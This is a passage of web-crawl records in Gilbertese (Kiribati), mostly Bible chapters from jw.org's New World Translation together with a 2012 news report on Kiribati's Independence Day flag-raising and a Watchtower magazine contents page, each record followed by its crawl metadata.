karebanaia moa n atibu n uaa matena, ao imwina a na karebanaia aomata ni kabane. Kam riai ni kanakoa te bwai ae buakaka mai buakomi.+ 8 \"Ngkana iai te tangitang ae tabekaki n ami kaawa teuana, ae e rangi ni kangaanga motikan taekana iroumi, ae tao te tangitang ae irekereke ma te katuturaraa,+ ke te tangitang ae tabekaki i aan te tua, ke ibukin te mwakuri n iowawa ae karaoaki, ke aeka ni kauntaeka riki tabeua, kam riai ngkanne n teirake ao n nakon te tabo ae e rineia Iehova ae Atuami.+ 9 Naako kawariia ibonga* aika tibun Rewi ao te tia moti+ ane beku ni boong akanne, ao tabeka ami titiraki, ao ane a na anganingkami te moti.+ 10 Ao kam riai ni karaoa ae boraoi ma te moti are a anganingkami man te tabo ae e rineia Iehova. Taratara raoi bwa kam na karaoia ni kaineti ma bwaai ni kabane ake a tua nakoimi. 11 Kam riai ni karaoa ae boraoi ma te tua are a kaotia nakoimi, ao ae boraoi ma te moti are a taekinna nakoimi.+ Tai rairakinako man te moti ae a na anganingkami, nakon te angaatai ke te angamaing.+ 12 E riai ni mate te aomata ae kan rarabakau n arona n aki ongo iroun te ibonga ae beku iroun Iehova ae Atuami, ke iroun te tia moti.+ Kam na kanakoa te bwai ae buakaka mai buakoia tibun Iteraera.+ 13 Ane a na bane aomata n ongo ma ni maaku, ao a na aki manga kan rarabakau.+ 14 \"Ngkana kam rin n te aba ae e a anganingkami Iehova ae Atuami, ao kam abanna ao ni maeka iai, ao kam kangai, 'Kariaia bwa ti na rinea te uea i aora, n ai aroia natannaomata aika i rarikira,'+ 15 ao ngkana e riki anne, ao kam bon riai n rinea te uea ae e rineia Iehova ae Atuami.+ Kam riai ni mwiokoa temanna mai buakoia tarimi bwa te uea. Kam katabuakaki ni mwiokoa i aomi te ianena ae tiaki tarimi. 16 Ma e aki riai ni karekeia ana aoti aika mwaiti,+ ke ni kaokiia aomata nako Aikubita ibukini karekeaia riki aoti aika mwaiti,+ kioina ngkai e kangai Iehova nakoimi, 'Kam na tai manga oki n te kawai aei.' 17 E na aki naba karekeia buuna aika mwaiti, bwa e aonga n aki rairakinako nanona,+ ao e aki riai naba ni kabatiai ana tirewa ma ana koora.+ 18 Ngkana e a tekateka i aon te kaintokanuea n ana tautaeka n uea, ao e riai ni korea n te boki* teuana katotongan te Tua ae anaaki man te boki are a kakawakinna ibonga aika tibun Rewi.+ 19 \"E na tiku irouna ao e na warekia ni kabane bongini maiuna,+ bwa e aonga n reireinna maakakin Iehova ae Atuana, ao e na kakairi n taekan nako te Tua aei ao mooti aikai, n arona ni kakororaoi.+ 20 Mangaia are e na aki karietataa nanona i aoia tarina nako, ao e na aki rairakinako man te tua aei nakon te angaatai ke te angamaing, bwa e aonga n tiku n te tai ae maan n ana tautaeka n uea, ngaia ma natina, i buakoia tibun Iteraera.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-tua-kaua\/17\/","date":"2018-02-18T07:27:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891811794.67\/warc\/CC-MAIN-20180218062032-20180218082032-00794.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":773,"character_repetition_ratio":0.064,"word_repetition_ratio":0.005,"special_characters_ratio":0.237,"stopwords_ratio":0.428,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4 Ma I taku bwa akea okoron te teei ae te tia bwaibwai n ana tai n ataei, ma te toro, e ngae ngkai te uea ngaia i aoni bwaai ni kabane. 2 Ma e mena i aaia taan tararuaia ao te koraki aika mwiokoaki, ni karokoa te bong are e a kaman namatia tamana. 3 Ao ai arora naba, bwa ngke ataei ngaira, ao ti tautoronaki ni bwaai n ataei aika bwain aon te aba.+ 4 Ma ngke e a koro raoi taina, ao e a kanakoa Natina te Atua, are e bungiaki iroun te aine,+ ao e mena i aan te tua,+ 5 bwa e aonga ni kabooa kainaomataaia te koraki ake a mena i aan te tua,+ bwa ti aonga n natinaki iroun te Atua.+ 6 Ao kioina ngkai natin te Atua ngkami, e kanakoa te taamnei+ ae raoiroi te Atua nako nanora,+ are te taamnei are e anganaki Natina, ao e takarua ni kangai te taamnei aei: \"Aba,* Tamara!\"+ 7 Mangaia ae ai tiaki te toro ngkoe ma ai natin te Atua, ao ngkana natin te Atua ngkoe ao bon te tia bwaibwai naba iroun te Atua.+ 8 Ma ngkana kam aki ataa te Atua, ao kam bon tautoronaki irouia te koraki ake tiaki atua ni koaua. 9 Ma ngkai kam a ataa te Atua, ao e a moamoa riki ngkai kam a ataaki iroun te Atua, ao e aera bwa kam a manga rairaki nakoni bwaai n ataei aika akea bongaia+ ma manenaia, ao kam a manga kan toronaki iai?+ 10 Kam kawakini raoi boong ma namwakaina+ ma taai ao ririki. 11 I tabeaianga ibukimi, bwa e kaawa ni matebuaka au kakorakora ni buokingkami. 12 I butiingkami taari, riiki n ai arou ngkai, ibukina bwa aromi ngkai+ bon ai arou rimoa. Akea ami kairua irou. 13 Ma kam ataia bwa e moan reke angan taekinan te rongorongo ae raoiroi nakoimi kioina ngke I aoraki. 14 Ao e ngae ngke bon te bwai ni kataaki nakoimi aorakiu, ma kam aki kakeaa bongau ke n nanomwaraa irou,* ma kam butimwaeai n ai aron ana anera te Atua, ao n ai aroni Kristo Iesu. 15 E nga kukureimi are iai ngkoa iroumi? Bwa I kaotia ma te koaua nakoimi bwa ngke arona bwa e boni kona, ao kam na autii matami n anganai.+ 16 Ma te koaua bwa I a riki ngkai bwa te tia kairiribai nakoimi ibukina bwa I tuangingkami te koaua? 17 A ingainga tabemwaang ni kan anai nanomi, ma tiaki ibukin te kantaninga ae raoiroi, ma a kani karaureingkami ma ngai bwa kam aonga n iriia ma te ingaingannano. 18 Ma e ngae n anne, e raoiroi ngkana iai ae e ingainga ni kan anai nanomi ibukin te kantaninga ae raoiroi n taai nako, ao tiaki tii ngkana I mena i rarikimi 19 ngkami aika natiu+ aika tangiraki, ae I a manga ariri ni maraki ibukimi ni karokoa ae e a rikirake Kristo i nanomi. 20 Bwa I bia mena i rarikimi ngkai, ao ni bita arou n taetae nakoimi, ibukina bwa I a aki ataa te bae N na karaoia ibukimi. 21 Kam na tuangai ngkami akana kam kani mena i aan te tua, Kam aki ongo n ae taekinaki n te Tua? 22 N te katoto, e koreaki bwa iai uoman natin Aberaam, temanna iroun te aine ae te toro,+ ao temanna iroun te aine ae inaomata.+ 23 Ma e bungiaki n aroia aomata nako+ are mairoun te aine ae te toro, ma e bungiaki are temanna rinanon te berita,+ are mairoun te aine ae inaomata. 24 Bon te kaotioti ae te kaikonaki baikai, bwa a tei aine aikai ibukini berita aika uoua. Teuana boni man te Maunga ae Tinai+ ae karikiia naati ibukin te toronaki, ae taekan Nei Aka. 25 Ao e tei Aka aei ibukin Tinai,+ are te maunga are i Arabia, ao e boraoi ma te Ierutarem ae ngkai, bwa e toronaki ma natina. 26 Ma e inaomata te Ierutarem are i eta, ao boni ngaia tinara. 27 Bwa e koreaki ae kangai: \"Ko na kimwareirei ngkoe te aine ae ko kanoabo ae ko aki bubung, ko na takarua ni kimwareirei ngkoe te aine ae ko aki ariri ni maraki. Bwa a rangi ni bati riki natin te aine ae kaakaki, nakon neiere iai buuna.\"+ 28 Taari, bon naati ngkami ni kaineti ma te berita, n ai aron naba Itaaka.+ 29 Ma n aron ae e bwainikirinaki are e bungiaki n ana mwakuri te taamnei+ iroun are e bungiaki n aroia aomata nako, ao ai arona naba ngkai.+ 30 Ma e ngae n anne, tera ae taekinaki ni kibun te koroboki ae tabu? \"Kakionakoa te toro te aine ma natina, bwa e aki kona ni bwaibwai natin te toro te aine i rarikin natin te aine ae inaomata.\"+ 31 Mangaia ae taari, bon natin te aine ae inaomata ngaira, ao tiaki te aine ae te toro.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/i-karatia\/4\/","date":"2018-02-21T09:43:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891813602.12\/warc\/CC-MAIN-20180221083833-20180221103833-00690.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":831,"character_repetition_ratio":0.058,"word_repetition_ratio":0.005,"special_characters_ratio":0.246,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"25 Iehova, bon Atuau ngkoe. I karietatako, I karaoiroa aram,Bwa ko karaoi baika kamimi+Aika bwaai* aika baireaki mangkoangkoa,+Ma te kakaonimaki+ ao te konaa n onimakinaki. 2 Bwa ko bita te kaawa nakon te bwariko n atibu,Ao te kaawa ae nonoaki nakon te tabo ae uruaki. Ai tiaki te kaawa ana taua te ianena,E na aki manga kateaki. 3 Anne bukina ae a na neboiko iai aomata aika korakora. E na maakuko aia kaawa natannaomata aika karawawataa te aba.+ 4 Bwa ko a riki bwa te nono nakon ane e mangori,Te nono nakon ane e maiu ni kainnano ngkana e rawawata,+Te tabo ni kamanomano man te karau ae korakora,Ao te tabo ni katantan man te kabuebue.+ N te tai ae e a riki iai unia taani karawawata bwa ai aron te karau ae bakarerea te oo, 5 N aron te kabuebue n te aba ae mwauteretereAo ai arom naba n taonaanako karongoaaia ianena. N aron te kabuebue n taonakinako n nuun te nangAo ai aron naba aia anene taani karawawataa te aba bwa e a katokaki. 6 E na karaoa te baka n amwarake n te maunga+ aei Iehova ae Atuaia taanga ni buaka* ibukia botannaomata ni kabane,Ae te baka n amwarake ae kangkang,+Ao te baka n amwarake ae kabutaki iai te wain ae raoiroi,Ae te amwarake ae te kabanea ni kangkangAo te wain ae raoiroi ae raumeaaki. 7 N te maunga aei ao e na kamauna* te ninira ae niroaia botannaomata ni kabane,Ao te rabuna* ae rarangaaki ae a rabunaki iai natannaomata ni kabane. 8 E na onga* te mate n aki toki,+Ao e na kaoi rannimata mani maata ni kabane te Uea ae Moan te Rietata ae Iehova.+ E na uotaanako kamaamaeaia ana aomata man te aonnaba ni kabutaa, Bwa e a tia Iehova n taekinna. 9 Ao a na kangai n te bong anne: \"Noria! Ao aei Atuara!+ Ti kabotoi ara kantaninga i aona,+Ao e na kamaiuira.+ Bon aei Iehova! Ti kabotoi ara kantaninga i aona. Ti bia kimwareirei ao ni kakatonga n te kakamaiu are mairouna.\"+ 10 Bwa e na mena bain Iehova i aon te maunga aei,+Ao e na toutouaki Moaba ni nnena+N aron te uteute ae mwau ae toutouaki nako aon te bwariko ae nakotaarin te man. 11 E na arora baina n orea MoabaN aron te tia uaua ae orea te ran ni baina ngkana e uaua. Ao e na karinanoa kainikatongana+Ni mwaataini kakammwakurini baina. 12 Ao e na kabwakaaTe kaawa ae nonoaki ma am oo aika rietata ae kamanoam,Ao e na kabwakaa i aontano, nakoni bubun te tano.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/itaia\/25\/","date":"2018-02-18T18:46:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812247.50\/warc\/CC-MAIN-20180218173208-20180218193208-00512.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":459,"character_repetition_ratio":0.057,"word_repetition_ratio":0.009,"special_characters_ratio":0.229,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E uti n tio ana buraeki Kiribati n te ingabong aio 12\/7\/2012 n te RKU stadium are i Bairiki.\nMan iteran onoua n te ingabong nte Kaabong aio ao a kaman roko taan mwaati man reirei nako iaon Tarawa, e rebwe te band ao e a nako naba kain te mwati nako nanon te marae. Ake a roko n te tai anne ao bon iai reirei man moanrinan ao kauarinan ma ana rabwata nako te Tautaeka n aron MTC FTC ao tabeua riki. Tiaki ti anne ma a bon kaoti naba mataia ataein te Pre school iaon Tarawa nako ma Betio. Imwin itua ao e a bobonga baireaia taan mwaati ao man tei nako n aia tabo ake a kaman tia n reiakinna inanon wiki man namwakaina aika a nako. Imwin teia nako n aia tabo aika a kakaokoro ao e a waaki rokoia irua n rinnako nanon te marae ao man karaoaki te karineirne nakoia man aneneaki aia national anthem ma i abaia aika a kakaokoro. Iai aban tinaniku aika a kaoti mtaia n te tai aio bwa NZ, Australia, Taiwan ao tabea riki. Imwin teia ao man karinerine naba nakon aia buraeki ao a kairaki nako aon te stadium ike a katekatekaki nakon aia tabo bwa irua ngaia aika a kakanato.\nImwin ana tutuo te Beretitent ae rine Honourable Anote Tong nakon te taanga ni burteitiman ao e a okira mwina nako aon te stadium ao man tauraoi nakon te karierine ibukin irakean te buraeki. E bon raonaki iroun buna ae Meme Tong. E bon kairaki te Beretitenti nako nanon te marae iroun te unimwane ao te unaine n aron are e bon kakaraoaki inanon te kauring n taai aika a nako.\nE bae teuatana ao man maan te tataninga irouia kaain Kirbati ma irua ake roko ni bukamarua te bong aio ngkai e aki uki te buraeki n rokona ieta.\nE kanakoa te tataro ni kaukuki te Ebikebo Paul Mwea man te aro ni katorika ao man rimwiaki ma ana taeka te Beretitenti ae rine Hon. Anote Tong.\nE reitinako te bukamaru ao n rinerine iwmin ana taeka te Beretitenti are e taeikinna rinanon bwanaan Kirbati ni kabuta.\nImwin ana taetae kautun Kiribati Anote Tong ao e a waaki te mwaati ni karinerine irouia ataei ma ikawai n reirei nako ma botaki aika a kakaokoro.Irarikin anne ao bon itiman bureitiman ake a uota te buraeki nakon te kainiman i moan aia mwaati bureitiman.\n(8.16 am)\nE a tio ana buraeki n tokanikai Kiribati ibukin ana ka 33 ni kainaomata 2012.\nE uti n tio ana buraeki Kiribati n te ingabong aio 12\/7\/2012 n te RKU stadium are i Bairiki.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/kiribatiupdates.com.ki\/2012\/07\/11\/e-e-tio-ana-buraek-kiribati-ibukin-ana-ka-33-ni-kainaomata-2012\/","date":"2018-02-24T11:56:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815560.92\/warc\/CC-MAIN-20180224112708-20180224132708-00514.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":437,"character_repetition_ratio":0.063,"word_repetition_ratio":0.042,"special_characters_ratio":0.216,"stopwords_ratio":0.371,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4 Ngke e tia naba ngkekei te natannaomata arei ni kabane n rinanon te Ioretan nakon iterana are teuana, ao e a taku Iehova nakon Iotua: 2 \"Karekeia mwaane aika 12 mai buakoia aomata, kaka temanna te mwaane man te baronga teuana ma teuana,+ 3 ao ko na tua ae kangai nakoia: 'Tabeki atibu aika 12 mai nukan te Ioretan, man te tabo are a tei n aki kakammwakuri iai waeia ibonga,*+ ao kam na uotii ao kaaki n te tabo are kam na tiku iai n tairiki.'\"+ 4 Mangaia are e weteiia mwaane aika 12 Iotua ake e a tia n rineiia mai buakoia tibun Iteraera, kaka temanna te mwaane man te baronga teuana ma teuana, 5 ao e taku Iotua nakoia: \"Kam na mwananga n rimoan ana Ati Iehova ae Atuami nako nukan te Ioretan, ao e riai temanna ma temanna n tabeka kaka teuana te atibu i aon angana, n ai aroni mwaitin aia baronga tibun Iteraera, 6 bwa e na riki bwa te kanikina i buakomi. Ngkana a titirakiningkami natimi* rimwi riki ni kangai, 'E aera ngkai kam kaaki ikai atibu aikai?'+ 7 ao kam riai n tuangia ni kangai, 'Ibukina bwa e katokaki ngkoa raangan ranin te Ioretan imwain ana ati+ ni berita Iehova. Ngke e rinanon te Ioretan ao e a katokaki naba raangan ranin te Ioretan. A na riki atibu aikai bwa te bwai ni kauring ae teimatoa nakoia tibun Iteraera.'\"+ 8 Mangaia are a karaoa are e tua Iotua tibun Iteraera. A tabeki atibu aika 12 mai nukan te Ioretan, n aron are e tuangaki Iotua iroun Iehova, n ai aroni mwaitin aia baronga tibun Iteraera. A anai nakon te tabo are a na tiku iai n te tairiki ao a kaaki ikekei. 9 E katei naba atibu aika 12 Iotua i nukan te Ioretan n te tabo are a tei iai waeia ibonga ake a uouota te ati ni berita,+ ao a boni mena naba ikanne atibu akanne ni karokoa te bong aei. 10 A teimatoa n tei i nukan te Ioretan ibonga ake a uouota te Ati ni karokoa tiani bwaai nako ake e tua Iehova nakon Iotua bwa e na tuangia aomata bwa a na karaoia, n aron ae boraoi ma bwaai ni kabane ake e tua Mote nakon Iotua. N te tai anne ao a kawaekoaia aomata ni mwananga nakon te itera are teuana. 11 Ngke a a bane aomata n tia ni mwananga nakon te itera are teuana, ao e nakon naba te itera are teuana ana Ati Iehova ao ibonga, i mataia aomata.+ 12 Ao tibun Reuben ma tibuni Kata ao te itera ni baronga are Manate, a mwananga naba nakon te itera are teuana n te aro ae baireaki raoi ni baireaia taani buaka,+ n rimoaia tibun Iteraera ake tabemwaang, n aron are e tuangia Mote.+ 13 Tao 40,000 mwaitiia tautia aika taubobonga nakon te buaka ake a mwananga nakon te itera are teuana i matan Iehova, nakon rereuan Ieriko ake a aoraoi. 14 E karietataa Iotua n te bong anne Iehova i mataia tibun Iteraera ni kabane,+ ao e a korakora karineana* irouia ni kabane bongini maiuna, n aron ae e korakora naba karineani Mote irouia.+ 15 E taku ngkanne Iehova nakon Iotua: 16 \"Ko na tua nakoia ibonga ake a uouota te Ati+ ni Berita* bwa a na aerake man te Ioretan.\" 17 Mangaia are e tua ae kangai Iotua nakoia ibonga: \"Kam na aerake man te Ioretan.\" 18 Ngke a aerake mai nukan te Ioretan ibonga ake a uouota ana ati+ ni berita Iehova, ao ngke a a toua te tano ae mwau nanoni waeia ibonga, ao e a manga reitaanako kawaina ranin te Ioretan, ao ni manga taorake i mataniwina+ n arona mai mwaina. 19 A waerake aomata man te Ioretan n te moan namwakaina ae tebwina iai bongin te namwakaina, ao a kaembwa i Kirekara+ n tian Ieriko mai mainiku. 20 Ni kaineti ngkanne ma atibu ake 12 ake a anai man te Ioretan, e katei Iotua i Kirekara.+ 21 E taku ngkanne nakoia tibun Iteraera: \"Ngkana a titirakiningkami natimi n te tai ae e na roko ni kangai, 'Tera ae nanonaki n atibu aikai?'+ 22 ao kam riai ni kabwarabwaraa nakoia natimi ni kangai: 'A rinanon te Ioretan tibun Iteraera i aon te tano ae mwau nakon iterana are teuana,+ 23 ngke e kabwatakatakaa ranin te Ioretan Iehova ae Atuami imwaia ni karokoa ae a rinanona nakon te itera are teuana, n aron are e karaoia Iehova ae Atuami nakon Taari ae Uraura ngke e kabwatakatakaa imwaira ni karokoa ae ti rinanona nakon te itera are teuana.+ 24 E karaoa aei n te aro are a na bane n ataa korakorani bain Iehova botannaomata n te aonnaba,+ ao kam aonga ni maaka Iehova ae Atuami n taai nako.'\"\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/iotua\/4\/","date":"2018-02-24T01:27:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814872.58\/warc\/CC-MAIN-20180223233832-20180224013832-00411.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":814,"character_repetition_ratio":0.087,"word_repetition_ratio":0.01,"special_characters_ratio":0.236,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI Na. 6 2017 | Te Bwaintangira ae te Kabanea n Raoiroi\nTERA AM IANGO?\nAntai te tia anga bwaintangira ae te kabanea n rianako n te iuniweeti aei?\n\"A bane bwaai n tituaraoi aika raraoi ma bwaintangira aika kororaoi n roko mai eta, bwa a ruo mairoun Taman ootani karawa.\"—Iakobo 1:17.\nE buokira Te Taua-n-Tantani aei n ataa kakawakin ana bwaintangira te Atua ae te kabanea n raoiroi.\nATUN TE MAEKATIN\nKo kan anga ke n anganaki bwaintangira aika rangi ni kakawaki?\nATUN TE MAEKATIN\nE aki bebete kakaaean te bwaintangira ae raoiroi. Bwa kakawakin te bwaintangira e boto i aon ana namakin te tia bwaintangiraaki.\nATUN TE MAEKATIN\nIai ana bwaintituaraoi te Atua nakoia aomata ae kakawaki riki.\nNi waakinakon te tienture ao iai taamneina irouia taani korobanna aika mwaiti. Tera ae e kaotaki n te Baibara ni kaineti ma tein Iesu?\nN aki ongea rorora ke mwaataira ma ti bane ni kakairua. Ma tera arora iai?\nE na buokiko te baei n ataa bukina ngkai e a bati aekan nako te Baibara.\nA bubukamarua te Kiritimati naake a rangi ni kaan ma ana tai Iesu?\nE karika te maaku te taeka ae Aremaketon, ma tera raoi ae nanonaki iai?","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na6-2017-nobembwa\/","date":"2018-03-19T14:57:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257646952.38\/warc\/CC-MAIN-20180319140246-20180319160246-00228.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":199,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.432,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8 \"Kaaki te buu ae te koro i wim!+ E roko temanna ae kaanga ai aron te ikare n ekiianako ana aomata* Iehova,+Bwa a urua au berita+ ao a bure n ekaanako au tua.+ 2 A tang n takarua nakoiu ni kangai, 'Atuara, ti ataiko ngaira aika tibun Iteraera!'+ 3 E a tia Iteraera n rawa nakon te bwai ae raoiroi.+ Ke e kaeaki iroun te tia kairiribai. 4 A rineiia ueea, ma tiaki rinanou. A rineiia tooka ma I aki kinaia naakai. A karaoi bouannanti n aia tirewa ma aia koora,+Ni karekea kamaunaaia iai.+ 5 E a ribaaki am kao te teei, ngkoe ae Tamaria.+ E urarake uniu irouia.+ A na maanra riki ngaiia ni babanga n aki bure?* 6 Boni mairoun Iteraera te baei. E karaoia te tia karaobwai ae mwaatai ao bon tiaki te Atua. E na kamaerikirikaki ana kao te teei Tamaria. 7 Bwa bon te ang ae a unikia,Ao a na taia te angibuaka.+ Akea te kai ae e na karikii uita* aika tawaa,+Ao ane e bwebwerake e na aki karekea te burawa. Ngkana iai ae e reke ao a na ongnga iabatera.*+ 8 E na ongaki Iteraera.+ A nang mena ngkai i buakoia natannaomata,+N aroni nnen te bwai ae aki tangiraki. 9 Bwa a waerake nako Aturia+ n aron te taongki ae moaanti ae akea raona. E a tia Eberaim ni kabooia ana tangira.+ 10 E ngae ngke a kabooia mai buakoia natannaomata,Ma N nang ikotiia ngkai. Ane a nangi moanna ni karawawataaki+ ibukin te rawawata are e katokaa i aoia te uea ma tooka. 11 Bwa e a tia Eberaim ni kabatiai baonikarea ao e bure iai.+ A riki bwa ana baonikarea ni karakai riki ana bure.+ 12 I korei ibukia baika bati man au tua,*Ma a aki mutiakin.+ 13 A anganai bwaai n tituaraoi aika karea ao a kana te irikomaiu,Ma e aki kukurei Iehova ni baikai.+ E nang uringa ngkai aia kairua ao ni katuuaaeia ibukin aia bure.+ A rairaki* nako Aikubita.+ 14 E a tia Iteraera ni mwanuokina te tia Karaoia+ ao e katei tembora,+Ao Iuta e kabatiai kaawa aika nonoaki.+ Ma N na kanakoa te ai nakon aia kaawa,Ao e na kabueki taian taua ake a mena n te kaawa teuana ma teuana.\"+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/otea\/8\/","date":"2018-03-24T00:36:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649508.48\/warc\/CC-MAIN-20180323235620-20180324015620-00250.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":406,"character_repetition_ratio":0.059,"word_repetition_ratio":0.01,"special_characters_ratio":0.247,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3 Iai kainnanoan ae ti na manga moani kaotiira bwa antai ngaira nakoimi? Ke tao ti kainnanoi reeta ibukini kakoauaani mwiokoara nakoimi ke mairoumi, n aroia tabeman? 2 Bon ara reta ngkami+ ae koreaki i nanora, ae ataaki ma ni warekaki irouia aomata ni kabane. 3 Bwa kam kaotaki bwa ana reta Kristo ngkami ae koreaki iroura, ngaira aika minita.+ E aki koreaki n te ingke, ma n taamnein te Atua ae maiu, ao e aki koreaki i aoni baaba+ aika atibu ni koaua, ma i aoia atibu aika aomata, ae i aon nanoia+ aomata. 4 Iai iroura te aeka n aki nanokokoraki aei ni kaineti ma te Atua, rinanon te Kristo. 5 Tiaki nanona bwa ti tau nako iai ibukini baike ti karaoi, ke tao man oini korakorara, ma e nako katauara mairoun te Atua,+ 6 are ngaia are e boni katauira bwa minita n te berita ae boou,+ ae tiaki n te tua are koreaki,+ ma n te taamnei, bwa e karekea te mate+ te tua are koreaki, ma e anga te maiu te taamnei.+ 7 Ngkana e irianaki reken te Tua n te mimitong, are te Tua are e karekea te mate ao are e kaaraki ni kataneaki ni manin te koroboki i aon taian atibu,+ n te aro are a aikoa kona tibun Iteraera ni karekea taraan ubuni Mote ibukin raneanean ubuna,+ ae te mimitong ae e na mauna, 8 ao tiaki e riai ni mimitong riki+ are e karekeaki n te taamnei?+ 9 Bwa ngkana e mimitong+ te Tua are karekea te kabuakakaaki,+ ao ai batira riki mimitongin are e karekeaki n te raoiroi!+ 10 Ni koauana, e a tia n anaaki mimitongin are e kamimitongaki ngkoa, ibukin te mimitong ae 